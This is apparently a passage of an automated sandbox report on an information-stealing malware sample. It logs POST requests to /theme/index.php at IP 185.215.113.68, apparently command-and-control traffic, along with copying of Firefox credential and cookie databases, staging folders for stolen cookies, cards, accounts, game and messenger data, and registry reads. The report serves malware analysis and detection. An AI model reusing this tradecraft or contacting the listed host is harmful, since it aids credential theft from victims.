Microsoft-CryptoAPI/6.1Host: crls.pki.goog" Contains base64 string in header "POST" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 5Cache-Control: no-cache" Contains base64 string in header "/theme/index" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 5Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 5Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 5Cache-Control: no-cache" Contains base64 string in header "form" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 5Cache-Control: no-cache" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBT3xL4LQLXDRDM9P665TW442vrsUQQUReuir%2FSSy4IxLVGLp6chnfNtyA8CEA6bGI750C3n79tQ4ghAGFo%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBT3xL4LQLXDRDM9P665TW442vrsUQQUReuir%2FSSy4IxLVGLp6chnfNtyA8CEA6bGI750C3n79tQ4ghAGFo%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBT3xL4LQLXDRDM9P665TW442vrsUQQUReuir%2FSSy4IxLVGLp6chnfNtyA8CEA6bGI750C3n79tQ4ghAGFo%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBT3xL4LQLXDRDM9P665TW442vrsUQQUReuir%2FSSy4IxLVGLp6chnfNtyA8CEA6bGI750C3n79tQ4ghAGFo%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "2BtX" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfIs%2BLjDtGwQ09XEB1Yeq%2BtX%2BBgQQU7NfjgtJxXWRM3y5nP%2Be6mK4cD08CEAitQLJg0pxMn17Nqb2Trtk%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "2BBgQQU7NfjgtJxXWRM3y5nP" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfIs%2BLjDtGwQ09XEB1Yeq%2BtX%2BBgQQU7NfjgtJxXWRM3y5nP%2Be6mK4cD08CEAitQLJg0pxMn17Nqb2Trtk%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfIs%2BLjDtGwQ09XEB1Yeq%2BtX%2BBgQQU7NfjgtJxXWRM3y5nP%2Be6mK4cD08CEAitQLJg0pxMn17Nqb2Trtk%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfIs%2BLjDtGwQ09XEB1Yeq%2BtX%2BBgQQU7NfjgtJxXWRM3y5nP%2Be6mK4cD08CEAitQLJg0pxMn17Nqb2Trtk%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfIs%2BLjDtGwQ09XEB1Yeq%2BtX%2BBgQQU7NfjgtJxXWRM3y5nP%2Be6mK4cD08CEAitQLJg0pxMn17Nqb2Trtk%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfIs%2BLjDtGwQ09XEB1Yeq%2BtX%2BBgQQU7NfjgtJxXWRM3y5nP%2Be6mK4cD08CEAitQLJg0pxMn17Nqb2Trtk%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com"34:T7e8,"file.exe" queries volume information of "C:\" at 00000000-00001816-0000010C-9031892 "file.exe" queries volume information of "C:\" at 00000000-00001816-0000010C-18698050 "MPGPH131.exe" queries volume information of "C:\" at 00000000-00002052-0000010C-6516119 "MPGPH131.exe" queries volume information of "C:\" at 00000000-00002052-0000010C-14575142 "MPGPH131.exe" queries volume information of "C:\" at 00000000-00001900-0000010C-8539123 "xpu69xf0pKXo454_p7ah.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\jobA45tvKP1fOLbeag\xpu69xf0pKXo454_p7ah.exe" at 00000000-00002348-0000010C-7800962 "LRjaMDKY2cdUcB6SLyRF.exe" queries volume information of "C:\" at 00000000-00003372-0000010C-14353841 "daGDjF_cYqIto1A08JmG.exe" queries volume information of "C:\" at 00000000-00002884-0000010C-27212308 "explorhe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\d887ceb89d\explorhe.exe" at 00000000-00004272-0000010C-12237765 "explorhe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\006700e5a2ab05\cred.dll" at 00000000-00004272-0000010C-20244319 "explorhe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\006700e5a2ab05\cred.dll" at 00000000-00004272-0000010C-20248230 "explorhe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\006700e5a2ab05\clip.dll" at 00000000-00004272-0000010C-21590515 "explorhe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\006700e5a2ab05\clip.dll" at 00000000-00004272-0000010C-21593700 "explorhe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\1000674001\plata.exe" at 00000000-00004272-0000010C-25042802 "explorhe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\1000674001\plata.exe" at 00000000-00004272-0000010C-25046155 "plata.exe" queries volume information of "C:\" at 00000000-00004984-0000010C-10369705 "RageMP131.exe" queries volume information of "C:\" at 00000000-00005472-0000010C-852766635:T701,"file.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL") "file.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\7-ZIP") "file.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\7-ZIP"; Key: "DISPLAYNAME") "file.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\7-ZIP"; Key: "DISPLAYVERSION") "file.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK") "file.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK"; Key: "DISPLAYNAME") "file.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE AIR") "file.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE AIR"; Key: "DISPLAYNAME") "file.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE AIR"; Key: "DISPLAYVERSION") "file.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER ACTIVEX") "file.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER ACTIVEX"; Key: "DISPLAYNAME") "file.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER ACTIVEX"; Key: "DISPLAYVERSION") "file.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE SHOCKWAVE PLAYER") "file.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE SHOCKWAVE PLAYER"; Key: "DISPLAYNAME") "file.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE SHOCKWAVE PLAYER"; Key: "DISPLAYVERSION") "file.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\AUTOITV3") "file.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\AUTOITV3"; Key: "DISPLAYNAME")36:T96d,"file.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "file.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "file.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "file.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "file.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "file.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "file.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "file.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "file.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "file.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "file.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "file.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "file.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "file.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "file.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "file.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "file.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "file.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "file.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "file.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "file.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "file.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "") "file.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS"; Key: "") "file.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS"; Key: "") "file.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "")37:T559,"file.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "file.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\MY"; Key: "") "file.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "file.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "file.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\2E4916B07F3DE90C8DDE2566FD9B9B400D89BBBA"; Key: "BLOB") "file.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB") "file.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\E6A3B45B062D509B3382282D196EFE97D5956CCB"; Key: "BLOB") "file.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\F5AD0BCC1AD56CD150725B1C866C30AD92EF21B0"; Key: "BLOB") "file.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "file.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "file.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "file.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "file.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\109F1CAED645BB78B3EA2B94C0697C740733031C"; Key: "BLOB")38:T459,"file.exe" called "CopyFileA" to copy C:\file.exe to new location %LOCALAPPDATA%\RageMP131\RageMP131.exe (UID: 00000000-00001816) "file.exe" called "CopyFileA" to copy C:\file.exe to new location %ALLUSERSPROFILE%\MPGPH131\MPGPH131.exe (UID: 00000000-00001816) "file.exe" called "CopyFileA" to copy %APPDATA%\Mozilla\Firefox\Profiles/mj0wtyin.default-1692790883487\signons.sqlite to new location %TEMP%\jobA4MaUrIRSFkd_Fm\Ei8DrAmaYu9Ksignons.sqlite (UID: 00000000-00001816) "file.exe" called "CopyFileA" to copy %APPDATA%\Mozilla\Firefox\Profiles/mj0wtyin.default-1692790883487\places.sqlite to new location %TEMP%\jobA4MaUrIRSFkd_Fm\8ghN89CsjOW1places.sqlite (UID: 00000000-00001816) "file.exe" called "CopyFileA" to copy %APPDATA%\Mozilla\Firefox\Profiles/mj0wtyin.default-1692790883487\cookies.sqlite to new location %TEMP%\jobA4MaUrIRSFkd_Fm\D87fZN3R3jFecookies.sqlite (UID: 00000000-00001816) "file.exe" called "CopyFileA" to copy %APPDATA%\Mozilla\Firefox\Profiles/mj0wtyin.default-1692790883487\places.sqlite to new location %TEMP%\jobA4MaUrIRSFkd_Fm\02zdBXl47cvzplaces.sqlite (UID: 00000000-00001816)39:Tb43,"file.exe" called "CreateDirectoryA" with parameter %LOCALAPPDATA%\RageMP131 (UID: 00000000-00001816) "file.exe" called "CreateDirectoryA" with parameter %ALLUSERSPROFILE%\MPGPH131 (UID: 00000000-00001816) "file.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3MaUrIRSFkd_Fm (UID: 00000000-00001816) "file.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA4MaUrIRSFkd_Fm (UID: 00000000-00001816) "file.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3MaUrIRSFkd_Fm\Cookies (UID: 00000000-00001816) "file.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3MaUrIRSFkd_Fm\FTP (UID: 00000000-00001816) "file.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3MaUrIRSFkd_Fm\FTP\FileZilla (UID: 00000000-00001816) "file.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3MaUrIRSFkd_Fm\CC (UID: 00000000-00001816) "file.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3MaUrIRSFkd_Fm\GoogleAccounts (UID: 00000000-00001816) "file.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3MaUrIRSFkd_Fm\FTP\TotalCommander (UID: 00000000-00001816) "file.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3MaUrIRSFkd_Fm\Autofill (UID: 00000000-00001816) "file.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3MaUrIRSFkd_Fm\Downloads (UID: 00000000-00001816) "file.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3MaUrIRSFkd_Fm\Games (UID: 00000000-00001816) "file.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3MaUrIRSFkd_Fm\Games\Growtopia (UID: 00000000-00001816) "file.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3MaUrIRSFkd_Fm\Games\Minecraft (UID: 00000000-00001816) "file.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3MaUrIRSFkd_Fm\Games\TLauncher (UID: 00000000-00001816) "file.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3MaUrIRSFkd_Fm\Games\FeatherClient (UID: 00000000-00001816) "file.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3MaUrIRSFkd_Fm\Games\LunarClient (UID: 00000000-00001816) "file.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3MaUrIRSFkd_Fm\Games\Battle.net (UID: 00000000-00001816) "file.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3MaUrIRSFkd_Fm\Games\Steam (UID: 00000000-00001816) "file.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3MaUrIRSFkd_Fm\Files (UID: 00000000-00001816) "file.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3MaUrIRSFkd_Fm\Messengers (UID: 00000000-00001816) "file.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3MaUrIRSFkd_Fm\Files\Amazon Downloader Logs (UID: 00000000-00001816) "file.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3MaUrIRSFkd_Fm\Messengers\Skype (UID: 00000000-00001816) "file.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3MaUrIRSFkd_Fm\Messengers\Element (UID: 00000000-00001816)3a:T6df,WaitForSingleObjectEx@KERNEL32.DLL at 00000000-00004272-51084-2805-003925D2 RegisterWaitForSingleObject@KERNEL32.DLL at 00000000-00004272-51084-1459-00381BDA WaitForSingleObjectEx@KERNEL32.DLL at 00000000-00004272-51084-2626-00389AD0 WaitForSingleObjectEx@KERNEL32.DLL at 00000000-00004272-51084-2469-003837EF CreateTimerQueueTimer@KERNEL32.DLL at 00000000-00004272-51084-1582-0038196A WaitForSingleObjectEx@KERNEL32.DLL at 00000000-00004272-51084-2184-0037EF5E Sleep@KERNEL32.DLL at 00000000-00004272-51084-2043-003669A0 WaitForSingleObjectEx@KERNEL32.DLL at 00000000-00004272-51084-2848-00393BED Sleep@KERNEL32.DLL at 00000000-00004272-51084-2145-00373730 RegisterWaitForSingleObject@KERNEL32.DLL at 00000000-00004272-51084-1578-003862A1 Sleep@KERNEL32.DLL at 00000000-00004272-51084-2161-0036F730 WaitForSingleObjectEx@KERNEL32.DLL at 00000000-00004272-51084-2398-00381D84 Sleep@KERNEL32.DLL at 00000000-00004272-51084-2185-003740E0 Sleep@KERNEL32.DLL at 00000000-00004272-51084-1392-00381CC7 WaitForSingleObjectEx@KERNEL32.DLL at 00000000-00004272-51084-2840-00393BD1 Sleep@KERNEL32.DLL at 00000000-00004272-56361-2102-0036F730 Sleep@KERNEL32.DLL at 00000000-00004272-56361-2126-003740E0 Sleep@KERNEL32.DLL at 00000000-00004272-56361-2086-00373730 Sleep@KERNEL32.DLL at 00000000-00004272-56361-1984-003669A0 Sleep@KERNEL32.DLL at 00000000-00004888-64792-2136-00373730 WaitForSingleObjectEx@KERNEL32.DLL at 00000000-00004888-64792-2617-00389AD0 WaitForSingleObjectEx@KERNEL32.DLL at 00000000-00004888-64792-2175-0037EF5E Sleep@KERNEL32.DLL at 00000000-00004888-64792-2176-003740E0 WaitForSingleObjectEx@KERNEL32.DLL at 00000000-00004888-64792-2389-00381D84 WaitForSingleObjectEx@KERNEL32.DLL at 00000000-00004888-64792-2839-00393BED3b:T43c,"%APPDATA%\Opera Software\*" in Source: 00000000-00001816-00000C27-41213218863 "%LOCALAPPDATA%\BraveSoftware\Brave-Browser\User Data\*" in Source: 00000000-00001816-00000C27-42199056435 "Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676" in Source: 00000000-00001816.00000000.66025.002E0000.00000004.mdmp 00000000-00001816.00000001.67055.002E0000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676" in Source: 00000000-00001816.00000000.66025.002E0000.00000004.mdmp 00000000-00001816.00000001.67055.002E0000.00000004.mdmp "Software\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676" in Source: 00000000-00001816.00000000.66025.002E0000.00000004.mdmp 00000000-00001816.00000001.67055.002E0000.00000004.mdmp "Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676" in Source: 00000000-00001816.00000000.66025.002E0000.00000004.mdmp 00000000-00001816.00000001.67055.002E0000.00000004.mdmp3c:T1937,"file.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "file.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "file.exe" failed to load missing module "api-ms-win-core-datetime-l1-1-1" - [base:0; Status:c0000135] "file.exe" failed to load missing module "api-ms-win-core-localization-obsolete-l1-2-0" - [base:0; Status:c0000135] "schtasks.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "schtasks.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "MPGPH131.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "MPGPH131.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "MPGPH131.exe" failed to load missing module "api-ms-win-core-datetime-l1-1-1" - [base:0; Status:c0000135] "MPGPH131.exe" failed to load missing module "api-ms-win-core-localization-obsolete-l1-2-0" - [base:0; Status:c0000135] "MPGPH131.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2" - [base:0; Status:c0000135] "ZyDCs7HTQpTIvLXbdMDA.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "ZyDCs7HTQpTIvLXbdMDA.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "1eLJCgp35fL2Gw5f0SPp.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "1eLJCgp35fL2Gw5f0SPp.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "1eLJCgp35fL2Gw5f0SPp.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2" - [base:0; Status:c0000135] "xpu69xf0pKXo454_p7ah.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "xpu69xf0pKXo454_p7ah.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "xpu69xf0pKXo454_p7ah.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2.dll" - [base:0; Status:c0000135] "xpu69xf0pKXo454_p7ah.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-0.dll" - [base:0; Status:c0000135] "xpu69xf0pKXo454_p7ah.exe" failed to load missing module "api-ms-win-core-quirks-l1-1-0.dll" - [base:0; Status:c0000135] "xpu69xf0pKXo454_p7ah.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "xpu69xf0pKXo454_p7ah.exe" failed to load missing module "%WINDIR%\system32\combase.dll" - [base:0; Status:c0000135] "xpu69xf0pKXo454_p7ah.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "xpu69xf0pKXo454_p7ah.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "xpu69xf0pKXo454_p7ah.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "LRjaMDKY2cdUcB6SLyRF.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "LRjaMDKY2cdUcB6SLyRF.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "LRjaMDKY2cdUcB6SLyRF.exe" failed to load missing module "api-ms-win-core-datetime-l1-1-1" - [base:0; Status:c0000135] "LRjaMDKY2cdUcB6SLyRF.exe" failed to load missing module "api-ms-win-core-localization-obsolete-l1-2-0" - [base:0; Status:c0000135] "LRjaMDKY2cdUcB6SLyRF.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2" - [base:0; Status:c0000135] "yyG5C3SjQVZcO6cPStp_.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "yyG5C3SjQVZcO6cPStp_.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "yyG5C3SjQVZcO6cPStp_.exe" failed to load missing module "api-ms-win-core-sysinfo-l1-2-1" - [base:0; Status:c0000135] "yyG5C3SjQVZcO6cPStp_.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-1" - [base:0; Status:c0000135] "daGDjF_cYqIto1A08JmG.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "daGDjF_cYqIto1A08JmG.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "daGDjF_cYqIto1A08JmG.exe" failed to load missing module "api-ms-win-core-datetime-l1-1-1" - [base:0; Status:c0000135] "daGDjF_cYqIto1A08JmG.exe" failed to load missing module "api-ms-win-core-localization-obsolete-l1-2-0" - [base:0; Status:c0000135] "daGDjF_cYqIto1A08JmG.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2" - [base:0; Status:c0000135] "explorhe.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "explorhe.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "explorhe.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2" - [base:0; Status:c0000135] "rundll32.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "rundll32.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "plata.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "plata.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "plata.exe" failed to load missing module "api-ms-win-core-datetime-l1-1-1" - [base:0; Status:c0000135] "plata.exe" failed to load missing module "api-ms-win-core-localization-obsolete-l1-2-0" - [base:0; Status:c0000135] "RageMP131.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "RageMP131.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "RageMP131.exe" failed to load missing module "api-ms-win-core-datetime-l1-1-1" - [base:0; Status:c0000135] "RageMP131.exe" failed to load missing module "api-ms-win-core-localization-obsolete-l1-2-0" - [base:0; Status:c0000135] "RageMP131.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2" - [base:0; Status:c0000135]3d:T854,Found string "https://www.youtube.com/" (Indicator: "youtube"; File: "file") file/memory contains long string with (Indicator: "youtube"; File: "UP127QR0.txt") file/memory contains long string with (Indicator: "youtube"; File: "css_1_.css") file/memory contains long string with (Indicator: "facebook.com"; File: "NP45KBR2.txt") Found string 